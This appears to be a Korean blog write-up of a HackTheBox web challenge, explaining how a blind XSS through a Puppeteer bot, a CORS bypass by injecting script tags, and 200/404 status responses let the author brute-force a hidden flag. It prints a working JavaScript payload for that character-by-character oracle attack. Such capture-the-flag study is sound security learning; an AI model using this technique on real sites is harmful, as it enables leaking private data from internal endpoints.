티스토리 뷰

728x90
반응형
  • 문제 요약 : Blind XSS with CORS Bypass + Error based Bruteforce

  • 일단 문제 풀이에 있어서 중요한 코드만 보면 아래와 같습니다.

1. localhost 인 경우에만 approved=0 에 해당하는 entity를 조회할 수 있습니다. DB에는 Flag 값이 사전에 entity 항목으로 삽입되어 있는데 다른 entities 와는 다르게 approved=0 입니다. (아래 7번째 줄 참고)

2. 만약 웹 페이지의 첫 페이지에서 URL을 Submit 을 하게 된다면 Puppeteer 봇이 해당 URL 에 접속하여 페이지를 확인하게 됩니다.

3. entity 검색 시에 사용자가 입력한 검색어에 일차하는 항목이 존재한다면 해당 entity 를 status_code 200으로 보내주고, 존재하지 않다면 status_code 404 와 함께 오류 메시지를 돌려줍니다. (나중에 이 200 과 404 상태코드를 기반으로 Error-based Bruteforce를 하게 됩니다. 만약에 Ba 라고 검색어를 입력 후 검색 시에 200 이 나올 것이고, asdf 라고 검색어를 입력 후 검색 시에는 404가 나올 것입니다. 이를 이용해서 Flag도 HTB로 시작하는 것을 소스코드를 통해서 유추할 수 있어, 알아낼 수 있습니다.)

4. fetch를 사용해서 request를 날려보면 CORS 정책에 막혀서 아래와 같은 오류가 발생하게 됩니다.

그래서 이를 우회하기 위해서는 해당 웹 페이지 자체에 존재하는 script를 사용하거나 해야합니다. 다만 보시면 아시겠지만 이 웹 페이지에는 어디에도 게시글 작성 또는 파일 업로드 기능이 존재하지 않습니다. 그래서 생각할 수 있는 방법으로는 javascript로 아예 페이지 자체에 script 태그를 삽입해서 로드시켜보는 것입니다.

 

우선 테스트를 위해서 local 에서 Back The Hox 라는 문자열로 시작하는 entity를 검색해보았습니다.
페이로드는 아래와 같이 사용하였습니다. (Ba 로 시작해서 Back The Hox 라는 문자열까지 찾아지면 멈추도록 하였습니다.

var ip = '157.245.44.97:32596'; // HTB Server IP Address
var flag = 'Ba'; // init search word
var letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
var url = `http://${ip}/api/entries/search?q=`;
async function getLetter(ch){
  return new Promise((resolve, reject)=>{
    const script = document.createElement("script");
    script.src = url+encodeURIComponent(flag+ch);
    script.onload = () => ch==='}' ? reject(ch):resolve(ch);
    script.onerror = () => reject(ch);
    document.head.appendChild(script);
  });
}
async function getFullWord(letters) {
  var b = false; var ch;
  for(var i=0; i < letters.length; i++){
    await getLetter(letters[i]).then((res) => {flag=flag.concat(res); b = res==='x' ? true:false; i=0} , (res)=> { } );
    if(b) break;
  }
};
getFullWord(letters);
console.log(`Flag is ${flag}`);

그럼 아래와 같이 일치하는 검색어가 없을 경우에는 404 오류가 나고, 있을 경우에는 오류가 나지 않게 되어 결론적으로 무차별 대입을 하여 모든 검색어가 찾아지게 됩니다.

5. 위 원리를 이용해서 이제 페이로드를 공격자의 서버에 임시로 작성하고, HTB AbuseHumanDB 서버에 공격자 서버의 URL로 접속해서 해당 script를 127.0.0.1:1337 IP주소로 읽게하여 bot 자체에서 확인된 200/404 결과를 통해 최종적인 Flag 문자열을 공격자의 서버로 전달하게 할 것입니다.

 

단, 주의 할 점으로는 Puppeteer 봇의 Timeout 시간이 7초라는 점입니다. 7초 시간 내로 공격자의 서버로 Flag 내용을 전달해야 하니, 일부분 씩 전달하게 해서 최종 적으로 Flag 를 만들어내야 하는 번거로움이 있었습니다. (저는 5글자씩 5번 정도 실행하니깐 아래와 같이 최종 Flag를 추출할 수 있었습니다.)

 

 

- 끝 -

 

추신 : 68번째로 문제 풀었다고 함. 뿌듯함.

728x90
반응형
댓글